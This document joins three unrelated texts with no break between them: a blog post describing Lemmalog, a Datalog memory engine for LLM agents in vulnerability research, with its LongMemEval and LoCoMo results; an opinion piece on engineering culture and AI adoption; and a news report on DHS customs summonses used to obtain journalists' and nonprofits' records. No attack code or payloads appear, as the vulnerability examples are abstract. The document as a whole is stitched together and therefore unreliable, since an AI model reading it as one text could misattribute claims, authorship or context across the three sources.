Over the past few months I have been playing around quite a bit with LLM agents, particularly for vulnerability research.

They are becoming surprisingly good at navigating large codebases, explaining unfamiliar subsystems and helping explore potential attack surfaces. However, once an investigation starts taking a few hours, I kept running into the same problem: the model would slowly lose track of what we had actually established.

It might suggest an approach that we had already ruled out, forget that an assumption turned out to be false, or confidently continue reasoning from an observation that was no longer valid. Obviously, telling an LLM that something is wrong does not necessarily mean that it will stop believing all of the things that depended on it :)

I initially started looking into memory systems because I wanted to make LLMs more useful for complex vulnerability research and reduce this type of hallucination.

There are of course already plenty of solutions for giving LLMs memory. Usually this involves storing old conversations or observations somewhere, embedding them, and then retrieving the most relevant pieces whenever the model needs them again.

This works reasonably well, but there was something about it that bothered me.

During a vulnerability research sesh, I don’t just want the model to remember what we said.

I want it to maintain what we currently know.

Imagine that during an investigation we establish the following:

attacker controls object_a
object_a points to object_b
object_b is a kernel object

From this, we may conclude that the attacker can control a kernel object.

A normal memory system could store all of these observations and retrieve them again whenever we ask about the exploitability of the bug. The LLM then figures out the same conclusion.

Great!

However, suppose that two hours later we discover in LLDB that object_a does not actually point to object_b, and that our previous observation was based on a wrong assumption.

At that point our memory may contain something like:

object_a points to object_b
attacker can control object_b
object_a does not actually point to object_b

Now we retrieve some subset of these memories and hope that the LLM correctly figures out which conclusions are still valid.

This started to feel a little familiar to me.

This looks like program analysis

A lot of the work I normally do involves program analysis.

When analysing a program, we usually have a bunch of facts about the program and some rules that derive additional facts from them.

For example, imagine we know:

calls(foo, bar)
calls(bar, baz)

We could define a rule stating that if one function calls another function, which itself can reach a third function, then the first function can reach the third function as well.

Eventually we calculate a fixed point containing everything we can derive from the program. More importantly, if one of our input facts changes, there are plenty of techniques for updating only the affected results instead of rerunning everything from scratch.

This is also exactly what I wanted from an LLM during vulnerability research.

If an observation changes, I don’t want the model to reconstruct the entire investigation from a transcript and hopefully notice all of the consequences. I want the affected conclusions to become invalid automatically.

When looking at the problem from this perspective, I started wondering why we were making the LLM reconstruct its entire state over and over again.

What if we just maintained it?

And this is how I somehow ended up writing a Datalog engine for LLMs :)

Datalog

Before we continue, it is probably useful to briefly explain what Datalog actually is.

Datalog is a declarative logic programming language. Instead of writing instructions describing how something should be calculated, we describe facts and rules from which new facts can be derived.

For example, we could store the following facts:

controls(attacker, object_a).
points_to(object_a, object_b).
kernel_object(object_b).

And then define the following rule:

controls_kernel_object(Attacker) :-
controls(Attacker, ObjectA),
points_to(ObjectA, ObjectB),
kernel_object(ObjectB).

From our existing facts, the engine can therefore derive:

controls_kernel_object(attacker).

Nothing particularly exciting yet.

However, suppose we later discover that:

points_to(object_a, object_b).

was incorrect.

If controls_kernel_object(attacker) was derived from that fact, we know exactly which conclusion depends on the observation that just changed, and we can automatically invalidate it.

This is considerably nicer than putting all of the old information into a prompt and asking an LLM to hopefully notice the same thing.

Lemmalog

This eventually turned into Lemmalog.

The basic idea is that an LLM should not necessarily be responsible for maintaining its own knowledge. Instead, I split the problem into two parts.

The LLM handles the fuzzy part:

"LLDB shows that the freed object is later reused
as the destination of the write."
|
v
freed(object_a)
reused_as(object_a, write_target)

And Lemmalog handles the deterministic part:

facts
|
v
rules
|
v
derived facts

This means that the LLM is still responsible for understanding natural language, source code, debugger output and all the other messy information that appears during an investigation.

LLMs happen to be quite good at this.

But once that information has been converted into structured facts, we no longer need the model to repeatedly determine all of its consequences. The database can do that instead.

Retractions

One of the first interesting problems I ran into was removing facts.

Adding facts to a Datalog database is relatively straightforward: add the new fact and evaluate any rules which may now produce additional results.

Removing something is a little more annoying.

Take the following example:

a.
b.
c :- a.
c :- b.

Here c has two separate reasons for being true.

If we remove a, we cannot simply remove c, because b still provides another derivation for it. However, if we remove both a and b, c should disappear as well.

This turns out to be quite important during vulnerability research, because a conclusion may be supported by multiple observations.

For example:

candidate_3_is_exploitable

may remain true even if one particular exploit primitive turns out not to work, because there is another independent path to the same result.

So Lemmalog has to keep track of how facts were derived and update their support when something changes.

Conveniently, this also gives us another useful property:

we can ask why something is true.

Why?

Imagine we have been running an agent for a few hours while investigating something and it eventually concludes:

candidate_3_is_exploitable

That is nice, but I would also quite like to know why.

Because Lemmalog already tracks the dependencies of derived facts, we can ask it for the provenance of a conclusion. For example, we may get something that conceptually looks like this:

candidate_3_is_exploitable
|
+-- attacker_controls_pointer
| |
| +-- observation_41
|
+-- pointer_reaches_target
|
+-- observation_57
+-- rule_12

If observation_41 later turns out to be incorrect, we know that this conclusion may no longer be valid, and because the database knows this as well, it can remove the affected conclusions automatically.

This was originally mostly necessary to make incremental evaluation work correctly, but it turns out that being able to ask an AI agent why it believes something is quite useful as well :)

It also addresses one of the more annoying failure modes I encountered with LLM-assisted research. Sometimes a model will confidently say something like:

we already established that this pointer is attacker-controlled

when that is not actually true.

If a conclusion exists in Lemmalog, I can ask where it came from. If there is no provenance supporting it, then it is not part of the maintained state.

This obviously does not prevent an LLM from hallucinating during extraction, but it does make it much harder for unsupported conclusions to silently become part of the investigation.

Facts also change over time

Another issue is that replacing old facts is not always the same as deleting them.

Suppose we originally believe:

primitive_a is viable

and later discover:

primitive_a is not viable

For most current queries, we probably only care about the second statement. However, if we want to understand why we previously explored a particular exploit strategy, the old state is still useful.

For this reason Lemmalog can associate facts with validity intervals.

Conceptually, we can represent the state as something like:

viable(primitive_a) [10:14, 12:37)
not_viable(primitive_a) [12:37, ...)

This allows us to answer both:

Is primitive_a viable now?

and:

Why did we think primitive_a was viable earlier?

without keeping two apparently contradictory facts around and asking the LLM to decide which one we meant.

Again, this is not really a language model problem.

It is mostly a database problem.

Why not just use a vector database?

Vector databases are very useful.

If I ask:

What did we find earlier about this allocation path?

semantic search is probably exactly what I want.

But cosine vibe similarity and truth are not quite the same thing.

A vector database can retrieve:

object_a points to object_b

because it is relevant to my question. It does not inherently know that the statement was disproven two hours later, or that five other conclusions depended on it and should therefore no longer be considered valid.

This made me realise that there are really two different problems hiding under the term “memory”.

The first is:

What information from the past is relevant to this question?

The second is:

Given everything we have learned so far, what is currently true?

Retrieval is very good at the first problem.

Lemmalog is mostly an experiment in solving the second one.

The two can also be combined, which is what I currently do.

A vulnerability investigation is basically an analysis state

The more I worked on this, the more similarities with program analysis started appearing.

During a vulnerability investigation we have observations:

this field is attacker-controlled

assumptions:

this object survives until the second callback

relationships:

primitive_b depends on primitive_a

hypotheses:

this could become an arbitrary write

and conclusions:

candidate_3 is exploitable

This maps surprisingly well to the things we already do in program analysis.

We have input facts:

observations

rules:

relationships between observations

derived facts:

conclusions

a fixed point:

everything currently known

and when an input changes, we perform incremental evaluation:

update affected conclusions

Because we track dependencies, we can also explain where results came from:

provenance

At some point it became fairly obvious that I had approached the problem like a static analysis engine without intentionally meaning to.

This also changed how I thought about the role of the LLM itself.

You can almost think of the whole system as a slightly strange compiler.

The LLM acts as the front-end:

     source code,
   debugger output,
natural language notes
          |
          v
   structured facts

Lemmalog is the intermediate representation and analysis engine:

structured facts
       |
       v
deductive rules
       |
       v
maintained state

Another LLM invocation can eventually turn that state back into natural language, suggest the next experiment, or use it to perform some action.

The amusing part is that our parser is probabilistic, while everything after it does not necessarily have to be.

Does it actually make LLMs better?

This is of course the important question.

The engine itself now supports incremental evaluation, retractions, provenance, temporal facts, aggregations, entity reconciliation, hybrid retrieval, demand-driven queries and a bunch of other things that I probably added because implementing Datalog features is more fun than I expected.

There is also an MCP server which allows agents to use Lemmalog directly.

But none of that matters very much if giving an LLM this memory does not actually improve anything.

So I plugged it into MemEval and tested it on both LongMemEval and LoCoMo using their standardized reader models and evaluation setup. Extraction during ingestion is Claude Sonnet 4.6 (chunked and file-cached, so it is paid once per conversation); everything after extraction uses the benchmark’s own standardized readers and judges.

The results were a little better than I expected.

LongMemEval

LongMemEval tests whether an LLM can answer questions about information spread across long conversation histories. The split I used contains 102 questions, divided equally between user facts, assistant facts, preferences, multi-session questions, temporal reasoning and knowledge updates.

Because 17 questions per category is not exactly a massive sample size, I ran Lemmalog three times rather than getting excited about whichever run happened to score highest.

The result was:

Lemmalog
F1: 0.463 +/- 0.010
Accuracy: 0.575 +/- 0.004

For comparison, the published memory-system results are:

PropMem 0.550
SimpleMem 0.480
Lemmalog 0.463 +/- 0.010
OpenClaw 0.244
Full Context 0.222

My own full-context GPT-4.1 run scored 0.197 F1.

So Lemmalog is not beating PropMem yet, and it is still slightly behind SimpleMem, but it gets more than twice the F1 of giving GPT-4.1 the entire conversation.

More amusingly, the context passed to the answering model is roughly 38 times smaller.

Full context: ~104,000 tokens/question
Lemmalog: ~2,700 tokens/question

Apparently maintaining state instead of repeatedly rereading the entire history is useful :)

The category results from one representative run looked like this:

System SS-User SS-Asst Preference Multi-Session Temporal K-Update PropMem 0.851 0.767 0.147 0.582 0.424 0.528 SimpleMem 0.752 0.566 0.126 0.382 0.578 0.475 Lemmalog 0.790 0.672 0.128 0.211 0.416 0.579 OpenClaw 0.401 0.432 0.127 0.082 0.185 0.234 Full Context 0.265 0.415 0.177 0.062 0.212 0.202

The result I found most interesting was Knowledge Update.

Lemmalog scored 0.579, compared with 0.528 for PropMem and 0.202 for full context.

Knowledge Update is basically the situation I originally cared about:

we believed A
|
later we learn that A is no longer true
|
what should we believe now?

So seeing Lemmalog top the published field on the category that most closely resembles maintained program state was rather satisfying.

Single-session factual memory also worked surprisingly well. Lemmalog reached 0.790 on user facts and 0.672 on assistant facts, while temporal reasoning reached 0.416, almost identical to PropMem’s 0.424 in that run.

The obvious remaining problem is multi-session reasoning:

PropMem 0.582
SimpleMem 0.382
Lemmalog 0.211

Diagnosing those failures was interesting: the information usually was not mis-connected, it was simply never extracted. If the extractor never emits a fact for the Airbnb booking, no amount of derivation is going to answer a question about it.

Which brings us to one of the more amusing parts of running benchmarks.

I accidentally taught it not to answer questions

At one point LongMemEval suddenly dropped to 0.371 F1.

After going through the failures, I discovered that 32 of the 102 questions were being refused.

All 32 were answerable.

Questions such as:

Which airline did I fly most?

or:

How many magazine subscriptions do I have?

were returning:

Not mentioned.

The problem was an instruction I had added to reduce hallucinations. I told the reader to make sure that the answer was actually supported by the retrieved facts before answering.

Unfortunately, the model interpreted this as:

If no single fact literally contains the final answer, refuse.

There is obviously no fact saying:

most_flown_airline(user, swiss)

if the memory instead contains:

flew(user, swiss, trip_1)
flew(user, swiss, trip_2)
flew(user, lufthansa, trip_3)

The answer exists. It just requires counting.

The fix was to separate two cases:

1. If the premise is absent or misattributed, refuse.
2. If the evidence exists but requires counting, comparing, combining or ordering facts, actually reason over it.

After fixing that, F1 recovered to 0.429.

The rest of the gap turned out to be sneakier: the counting path had been silently dead the entire time. Count lines were passed through a relevance filter before being shown to the reader, and the plural stemmer used by that filter only folded words longer than four characters. So owns never matched own, every count line was dropped, and counting questions quietly received no counts at all.

Fixing the stemmer, rendering counts together with the facts they count, and precomputing date arithmetic instead of hoping the model would correctly subtract two dates brought F1 to 0.463.

This distinction also turns out to matter quite a bit on another benchmark.

LoCoMo

I also ran Lemmalog against the full LoCoMo benchmark.

LoCoMo is considerably larger: 10 long conversations containing 1,986 questions covering factual recall, temporal reasoning, multi-hop questions, inference and adversarial false-premise questions.

This one was particularly useful because 1,986 questions makes it considerably harder to accidentally get excited about a lucky seed.

Again, I ran the entire benchmark three times.

Lemmalog LoCoMo:
0.533 +/- 0.001 F1

The published comparison looks like this:

System F1 PropMem 0.605 OpenClaw 0.557 Full Context 0.542 Lemmalog 0.533 ± 0.001 Hindsight 0.489 Graphiti 0.416 Memory-R1 0.389 SimpleMem 0.358

So Lemmalog currently sits third among the dedicated memory systems in this comparison, behind PropMem and OpenClaw.

If we count throwing the entire conversation into the prompt as a memory system, it is fourth.

Which I think is fair :)

More importantly, the three runs were almost identical, so ~0.53 seems to be a real result rather than benchmark noise.

The per-category results from the final configuration look like this:

Category Lemmalog PropMem Full Context Factual 0.399 0.431 0.517 Temporal 0.454 0.615 0.369 Multi-hop 0.545 0.599 0.674 Inferential 0.164 0.289 0.197 Adversarial 0.707 0.794 0.509

There are two results here that I particularly like.

The first is temporal reasoning.

The initial version of Lemmalog scored:

0.257

After fixing temporal normalization and retrieval:

0.454

The bug was actually quite funny.

At one point I was comparing date-like values as interned Datalog symbols.

The engine’s < operator on symbols compares their internal ids.

Internal ids are obviously not dates :)

After normalising extracted dates into comparable integers and deriving happened_before from actual timestamps, temporal performance jumped by almost twenty F1 points.

The second result I like is adversarial questions.

Lemmalog scores:

0.707

while full context scores:

0.509

These questions deliberately contain false or misattributed premises.

For example, the conversation may contain a story about somebody receiving a gift, followed by a question which attributes the same gift to somebody else.

A language model with a giant transcript is rather tempted to find the semantically similar story and answer anyway. A structured memory can instead notice that there is simply no supporting fact about the person in the question.

In other words:

no

turns out to be quite a useful answer.

The front-end matters a lot

The first LoCoMo implementation scored 0.483.

The current one scores about 0.533.

The Datalog evaluator did not suddenly become 10% smarter.

Most of the improvement came from fixing how information gets into and out of the analysis state.

Entity resolution, for example, turned out to matter quite a lot.

Imagine the following sessions:

Session 1:
"I bought a Honda Civic."

Session 3:
"My car broke down."

Session 7:
"The Civic is finally fixed."

If extraction produces:

bought(user, honda_civic).
broke_down(car).
fixed(civic).

then the Datalog engine is doing exactly what we asked it to do.

Unfortunately, we asked it to reason about three different objects.

So Lemmalog now has a reconciliation pass which connects episode-local mentions to canonical entities.

Pure lexical retrieval also caused some funny failures. A question referring to a:

"kitchen gadget"

would not necessarily retrieve a fact about an:

"Instant Pot"

even though the relationship is obvious to us.

Retrieval now combines BM25, graph/entity boosts and embeddings, while the final context contains both the structured facts and the original source snippets they came from.

This was another useful reminder that the difficult part of this architecture is not necessarily computing the fixed point.

It is building a good IR from natural language.

Which, again, feels suspiciously like program analysis.

Some things should probably stay fuzzy

There is also one area where Lemmalog remains rather bad: inference.

On LoCoMo:

PropMem 0.289
Lemmalog 0.164

This makes sense.

Suppose somebody says:

I usually prefer quiet restaurants, except when I'm travelling
with friends, when I quite like somewhere lively.

Flattening that into:

prefers(user, quiet_restaurants).

has thrown away half of the useful information before Datalog has even seen it.

The obvious direction is not to abandon structured memory, but to stop pretending that every memory is an unconditional tuple.

Conditional knowledge can remain conditional:

prefers(User, lively_restaurants) :-
    prefers_when(User, lively_restaurants, with_friends),
    with_friends(User).

And the original episode text can remain available for situations where the structured representation loses useful nuance.

The useful architecture therefore looks less like:

vector memory
OR
symbolic memory

and more like:

                       agent memory
                             |
              +--------------+--------------+
              |                             |
       deductive state               episodic memory
              |                             |
       facts / rules / time          fuzzy context
       provenance                    semantic retrieval
       retractions                   source text

Which is fortunately pretty close to what Lemmalog has become anyway.

The token thing

There is one other part of the result which I did not originally expect to be quite as large.

For LongMemEval, the answering model sees roughly:

Full context: ~104,000 tokens/question
Lemmalog: ~2,700 tokens/question

Around 38x less context.

For LoCoMo:

Full context: ~18,900 tokens/question
Lemmalog: ~3,400 tokens/question

Around 6x less.

There is of course an extraction cost.

The conversation has to be read once and turned into facts, so saying that the whole system is simply 38 times cheaper would be dishonest.

The important distinction is that extraction happens once.

Full-context prompting pays for the entire history again on every query.

With a persistent agent, the difference therefore grows over time.

Conceptually:

Turn Full context Lemmalog 50 100K/query ~2.5K/query 100 200K/query ~2.5K/query 500 1M/query ~2.5K/query

At some point the full-context version doesn’t merely become expensive.

It stops fitting in the context window.

Lemmalog’s query context does not grow with the entire transcript because it retrieves the relevant maintained state instead.

Which was kind of the original point.

Does this prove anything?

Not quite yet.

LongMemEval is 102 questions, and LoCoMo is still a conversational-memory benchmark rather than a vulnerability investigation.

PropMem also still beats Lemmalog overall on both standardized comparisons.

So I am not going to claim that Datalog has solved LLM memory :)

But I do think the results are enough to show that the idea is not completely stupid.

Across three LongMemEval runs, Lemmalog scores:

0.463 +/- 0.010 F1
0.575 +/- 0.004 accuracy

And on LoCoMo:

0.533 +/- 0.001 F1

It is particularly competitive when the task rewards the things the architecture was designed for: knowledge updates, temporal state, multi-hop relationships and rejecting unsupported premises.

Perhaps the most interesting result to me, though, is not the final number.

The first standardized LongMemEval configuration scored:

0.226

The current one scores:

0.463

More than twice as high.

Most of that improvement came from looking at individual failures and discovering fairly concrete computer science problems:

• entity identity was disconnected
• dates were represented incorrectly
• retrieval missed semantic aliases
• aggregation existed but wasn’t surfaced
• a plural stemmer didn’t think “owns” matched “own”
• the reader had accidentally been taught to refuse synthesis

None of those required making the language model larger.

They required maintaining better state around it.

Which is a result I find rather funny given why I started this project.

The next experiment is therefore the one I actually care about.

Give an agent a complicated vulnerability investigation, let it run for a long time, and see whether maintaining its analysis state stops it from resurrecting dead hypotheses and hallucinating relationships between observations.

That will probably be more interesting than remembering where Alice works :)

Conclusion

I didn’t really want to give the LLM a better memory.

I wanted it to stop forgetting why we believed things.

If an agent has already discovered that:

A implies B
B implies C

and later learns that A is no longer true, we shouldn’t need to give it fifty old messages and ask it to figure out whether C should still be trusted.

Likewise, if an exploit strategy depends on an assumption that we have just disproven in a debugger, I don’t want the model to suggest the same strategy again two hours later because an old conversation happened to be semantically relevant.

We already know how to solve problems involving facts, dependencies, invalidation and fixed points. We’ve been solving them in databases and program analyses for decades.

The benchmark results at least suggest that this isn’t only a nice idea in theory.

Lemmalog is already competitive with dedicated LLM memory systems, substantially outperforms full context on some of the tasks it was designed for, and does so while giving the reader a tiny fraction of the original history.

There is still plenty that it is bad at.

But perhaps we don’t need a bigger context window every time an agent forgets something.

Sometimes we can just maintain the state.

The source code for Lemmalog is available here.

Cheers!

AI definitely helps with productivity, but only when you have the right culture in place first!

Intro

This is something that has been on my mind for quite a while now. It seems like everything these days revolves around “AI”, “AI tools”, “AI productivity”.

• “You need to use this AI tool”
• “You need to be using this AI workflow”
• “Your engineers should be 2x, 5x, or even 10x more productive with AI”

And I get it. AI is changing how we build software, and I use AI tools myself every day as well.

But we’re focusing too much on AI tools alone and not enough on the environment in which the tools are being used. Because there’s something a LOT more important than AI tools, and that’s a great culture.

Throughout my 13+ year career in the engineering industry, I’ve seen both the negative effects of bad culture and the positive effects of a good one. I even felt it myself as an engineer and an engineering manager, when departments spent whole days blaming each other for problems.

So, I am a big believer that everything starts with a good culture, and I’ll tell you all about it in this article.

Let’s start!

"This is very easy to build now that we have AI, and we don't need as many people"

This is a sentence that breaks a good culture and makes people believe that their job is not important. Especially if it comes from an executive, e.g., a CEO, CPO, or even worse, a CTO.

The problem with it is that it totally decreases psychological safety, and everyone starts wondering whether they'll still be needed or not.

But here is an important thing that many people forget:

There is no better productivity hack than a great culture. No AI tools will provide bigger productivity gains.

I’ve unfortunately seen and heard this sentence quite a few times, either directly or from an engineer or engineering leader who has reported that to me.

I think things have gotten a bit better this year, but in 2025 and in early 2026, I heard this many times.

Let’s go more into why this is really problematic.

Without good culture, everything else won’t work well

Many executives believe that AI will just magically increase the productivity of everyone. But the reason that often doesn’t work is Conway’s law. It states:

Organizations which design systems (in the broad sense used here) are constrained to produce designs which are copies of the communication structures of these organizations.

I mention this law quite a lot in different articles, because it’s just so important. And the reason why it’s particularly relevant in this case is that the overall productivity and the “end product” mimic the overall culture of the organization.

If the culture is bad, the end product will be bad as well, because people just don’t work together well and they don’t communicate properly. But if the culture is good, then often the end product will be good as well.

So, you should always think about good culture as a prerequisite for everything else. And I like to make an analogy to what health is to us, humans. Without health, we can’t do anything else well.

And the same is true for organizations with bad culture, everything else won’t be good as well.

“Other companies are 10x more productive by using this AI tool”

Now, here comes the problem that many people fall into, especially CEOs and other executives. They see either a competitor or some other company reporting 10x higher productivity using a certain AI tool.

They start to panic, they start feeling FOMO (fear of missing out), and they start blaming people around them: “Why don’t we have that same amount of productivity as well?”

A lot of the CEOs are unaware of what kind of problems this may bring. Especially to the culture of the organization. When you start actively “blaming”, it shows to everyone that they are not doing their job well, and that you don’t trust them to make good decisions.

And this especially falls hard on engineers and engineering leaders, as they are often viewed as people who should be initiating AI adoption.

What many CEOs don’t realize is that a lot of the “reporting” of AI increasing productivity by 10x is more or less selling a certain AI product, or a certain partnership where they are promoting the other product.

So, many of the CEOs fall for the trick and make their company culture a lot worse.

My recommendation: Always take a look at what the incentives are behind people saying something, that says a lot about whether it’s true or not.

AI makes good culture even more valuable

Here is another really important point, and many people seem to forget it. As we mentioned, good culture is a prerequisite for everything else. But when it comes to AI, it amplifies everything you already have.

So, both AI and good culture go hand in hand really well together. AI makes bad communication even worse, it also makes bad architecture even worse as well.

But if you have a good culture and good architecture, people will be more productive because they will help each other, and AI will also have a better blueprint of what good looks like because of good architecture.

Always keep this in mind. Just starting to use AI for everything just makes things worse if you don’t have good processes, architecture, and people don’t work together as a team.

Everyone just goes in the wrong direction faster.

This is my recommendation for building a good culture

If you’re wondering whether you have a great culture inside your team or organization, here are some useful questions to answer:

• Do people know what they are responsible for?
• Can they make decisions without unnecessary approvals?
• Do they feel safe challenging leadership?
• Do teams trust each other?
• Are priorities clear?
• Can people disagree constructively?
• Do we reward outcomes?
• Do people understand why they are building something?
• Do we learn from failures, or do we look for someone to blame?

If the answer to these is “Yes”, then you are on a good track to have a good culture. Additionally, here is my personal checklist that I look at when doing an assessment of a certain engineering culture:

Checklist for a great engineering organization

You can find my full checklist for assessing whether a certain engineering organization is great or not.

You can use the same checklist in your case as well. This checklist provides you with a guide on what you should focus on in order to create a great engineering organization where everyone can thrive.

It works for organizations with multiple teams or smaller organizations. You can also use this for a specific team that is part of the bigger organization as well.

Now, let’s go to a very important thing next. How to actually message AI adoption correctly, so that you keep a great culture and have everyone excited about using AI tools.

How to correctly message AI adoption

The best messaging I saw (and has worked well) is the following:

What great engineers and engineering leaders do is learn and utilize all different tools that help them do the work better. This hasn’t really changed.

AI is like any other tool that has come out over the years. Use it in your favor to help your team, organization, and the business. That’s what great engineers and engineering leaders do. And it hasn’t changed with AI.

Don’t ever mention something even close to “replacing” or something along the lines of “You are not important anymore, because we have AI”. Those are just going to completely diminish morale and break the entire culture.

When it comes to AI adoption, it only works bottom-up, it never works top-down, and the reason for that is that things are changing so fast, new AI tools are coming out every day, and there needs to be constant exchange of knowledge between everyone.

Always keep this in mind. Trying to “force” people will only result in bad outcomes.

Many people believe that AI adoption happens just by introducing a new tool, and people will just magically become 2-5x more productive. Well, it doesn’t work like that.

AI adoption is not a tooling problem, it’s a leadership problem.

And at the same time, if your goal is to just increase AI usage amongst everyone, you’re basically losing. The goal should always be business success and overall outcomes.

As we mentioned, AI is like any other tool, and we need to treat it that way.

Replacing engineers with AI is not the way to go

I wrote the article called: Companies should hire more engineers in the age of AI, back in July, 2025. And it’s now more true than ever.

I fully believe that the best companies hire more engineers, not fewer, and the reason is that with more people, you exponentially increase your productivity as well.

Of course, the prerequisite is that the company culture is on point. Without it, it won’t work.

Time to market (TTM) is a very important metric in the age of AI, and I strongly believe that the best companies in a specific industry are going to be the ones that are going to move the fastest, make adjustments based on market needs, and provide the best experience for the users.

This was true before the age of AI, and now it’s even more important as things are progressing faster than ever.

So, knowing this, why would you actually restrict yourself with less productivity and less talent?

It’s a huge competitive advantage to be more productive. And I believe being less productive (that you can be) is actually a huge liability, which would result in an overall decrease in market share percentage long-term, in my opinion.

If you believe that “replacing engineers with AI” is a good bet. You’re actually making your company a lot worse that way. That’s my opinion.

Last words

Let’s end this article with the following:

I DON’T think the biggest question for leaders should be: “How do we get everyone to use AI?” The biggest question is:

“How do we build an organization where great people can do their best work, and then use AI to multiply them?”

This is the real question that organizations should be asking and focusing on. Great culture is the biggest productivity hack.

Even after judges rejected the same ploy, the Trump administration is going directly to social media and telecommunications companies

Federal agents in Newark, New Jersey, on 30 May. Photograph: Julius Constantine Motal/The Guardian

The Trump administration has been deploying an obscure legal maneuver to try to obtain private information on journalists, non-profits and unions, raising alarm over a power the government has asserted without judicial oversight.

In one instance, the government obtained six months of telephone records for Georgia Fort, a Minneapolis journalist. Fort was not notified of the request for her information, nor was she given a chance to contest the government’s effort to obtain them, her lawyers said in court papers.

In February of this year, federal prosecutors twice sought search warrants for account information for the YouTube channel of Fort and the journalist Don Lemon, both of whom have pleaded not guilty to criminal charges in connection to a protest at a Minneapolis church in January that they were covering. A judge twice rejected the request, writing that the government had failed to establish probable cause of a crime and that he wanted Lemon and Fort to be informed of the request so they could have a chance to challenge it. About a month after the judge’s ruling in late February, the government said it was withdrawing the request.

But officials hadn’t given up on getting the data.

Less than a month later, the DHS served Google with a different request for the YouTube information. This time, DHS utilized a different method that didn’t require approval from a judge, only a sign-off from a DHS official. It served Google an administrative summons citing an arcane provision of federal law – 19 USC 1509 – dealing with customs imports. The provision gives the DHS broad power to inspect records in order to determine whether duties and taxes are being correctly levied on imported items. It also instructed the recipients of the summons to keep it secret.

The DHS summons was issued under a statute that does give the agency broad power to demand records, but only in the limited circumstance of there being a need to investigate a customs issue, said Chris Duncan, a former lawyer at the Department of Homeland Security. “These laws have absolutely nothing to do with a domestic situation at a church, a social media post, even an immigration matter,” he said.

These laws have nothing to do with a domestic situation at a church, a social media post, even an immigration matter

Chris Duncan, former lawyer at the DHS

“It’s outrageous conduct on so many levels. It’s hard to know where to begin,” said John Roth, who served as the inspector general for the Department of Homeland Security from 2014 to 2017. “This is an improper use of the subpoena under any circumstances. This is not a customs case; it is not a customs violation. They are not investigating a customs violation.”

The episode in Minnesota was particularly alarming because it appeared to be an end run around a judge who was skeptical of the government’s need for the information.

“There is no judge in the loop. You don’t have that independent authority to scrutinize the demand and to say whether or not it’s legitimate,” said Caitlin Vogus, a senior adviser at the Freedom of the Press Foundation.

The DHS also sought and obtained six months of phone records for Fort from T-Mobile, which included records for more than 10,000 calls and text messages. Fort was not notified the government was seeking the records until mid-July, when government lawyers produced them to her lawyers. Fort’s lawyers wrote in a filing this week they were “stunned” to see the government had unilaterally been able to obtain a log of her communications after a judge had warned them about obtaining records about a journalist.

“That’s very concerning because the information demanded can help the government uncover a journalist’s confidential sources,” Vogus said.

In a statement, T-Mobile did not address why it turned over the information.

“We take our responsibility to protect customers’ privacy and personal information very seriously. Our team carefully reviews government demands for customer information and responds in accordance with the law. We don’t comment on specific law enforcement demands,” the company said.

The Department of Justice and the Department of Homeland Security both declined to comment on the use of the summons.

In addition to Fort and Lemon, the DHS also sought information on the YouTube accounts for the left-leaning outlet Democracy Now, conservative podcaster Megyn Kelly, the Milwaukee Journal-Sentinel and an independent journalist named Brendan Gutenschwager. Some of the videos they cited in the summons were livestreams of the protest, but not all of them. The video cited as part of the request for information on Democracy Now involved a news report on the protest and an interview with Nekima Levy Armstrong, who led the protest. The video cited on the request for Kelly’s show included an interview with Jonathan Parnell, the pastor at the church.

It’s unclear why exactly the DHS wanted the YouTube account information, which includes things like a user’s IP address, and information about when a user was logging in.

“It’s still concerning that the government sought subscriber information for Lemon and Fort because there’s no reason it would need this information for the criminal charges that it’s brought against them,” Vogus said. “It’s not a crime to post a YouTube video, and it’s not at all clear why the government is demanding this information about Lemon and Fort’s YouTube accounts.”

The episode was the most recent example of an alarming pattern in recent months in which the DHS avoided judicial scrutiny and deployed a summons related to customs enforcement to pressure companies into turning over information on Americans. The US constitution’s fourth amendment protects against unreasonable searches and seizures and law enforcement generally must show a judge or a grand jury they have probable cause to believe the materials they want to search will produce evidence of a crime.

But over the last few months, the Department of Homeland Security has undertaken a brazen effort to get around that fundamental safeguard. In addition to efforts to obtain records on Minnesota journalists, the DHS has used 1509 summonses to pressure social media companies to unmask the identities of people who have criticized ICE officers and to obtain financial information on a host of unions and left-leaning non-profit organizations in Minneapolis.

In a separate case in which 15 activists face criminal conspiracy charges, DHS successfully obtained the financial records of the Sunrise Movement, the Service Employees International Union (SEIU) and the Communications Workers of America, as well as Venmo records for a non-profit organization called Voices for Racial Justice. None of the organizations is charged with crimes and the DHS did not offer an explanation for why it needed the records. PayPal, Venmo’s parent company, declined to comment.

“There’s a long history of DHS abusing this summons authority in particular, and using it to seek both records that are clearly outside of its scope in general, and more particularly to try to go after people whose speech DHS is somehow irked by – but whose speech is protected by the first amendment,” said Nathan Freed Wessler, a lawyer at the American Civil Liberties Union who specializes in privacy issues.

This is an improper use of the subpoena under any circumstances

John Roth, inspector general for the DHS, 2014-17

It is difficult to determine the frequency with which the DHS is serving the 1509 summonses and how often they are successful in obtaining information. The summonses often remain hidden from public view unless the company being served, or the user, challenges them. Companies are not required to notify users that they have been served with a 1509 summons for information, though some do. The New York Times reported in February that the DHS had served hundreds of administrative subpoenas on social media companies for information on users.

“Without knowing how many of these subpoenas there are and what they’re being used for, there’s no way for courts or lawmakers or the public to put checks on executive branch abuses,” said Wessler, the ACLU attorney.

In the Minneapolis church case involving Lemon and Fort, the Trump administration has argued it had the power to use the customs-related summons to obtain information even though the crimes the defendants were charged with have nothing to do with customs. The protesters entered the church because a local ICE official was a pastor there, and could have potentially assaulted him or interfered with his duties, justice department lawyers wrote in a filing earlier this year. Even though the man does not appear to have been there, and there were no DHS officials at the church or involved in the protest, lawyers said the DHS was entitled to issue the summons because it was investigating a potential assault on a law enforcement officer.

In court filings, the Trump administration has argued the Department of Homeland Security has the power to demand such records without judicial oversight.

“Although § 1509 references ‘duties, fees, and taxes,’ the plain language of the statute does not limit DHS’s investigative authority to those subjects; instead, DHS is authorized to investigate potential crimes to ensure ‘compliance with the laws of the United States administered by the United States Customs Service,’” which has been folded into the Department of Homeland Security, a lawyer wrote in a December court filing last year.

That is an overbroad misreading of the statute, one expert said.

“I don’t buy that,” said Duncan, the former DHS lawyer. “It’s not a free-for-all that was thrown in there. Congress does not operate that way. Given these provisions were specifically incorporated into title 19, the customs statute, Congress obviously intended to authorize only records, demands and interviews in furtherance of investigations into customs violations, not wild goose chases into possible violations of any federal law without any judicial oversight.”

In Fort’s case, Google did not comply with the summons for any of the accounts. The company responded to the DHS by saying it had not offered evidence of how it was related to a customs investigation.

A Google spokesperson said the company reviews each request for data it gets to ensure it is legal and pushes back when it is too broad or doesn’t follow the correct process.

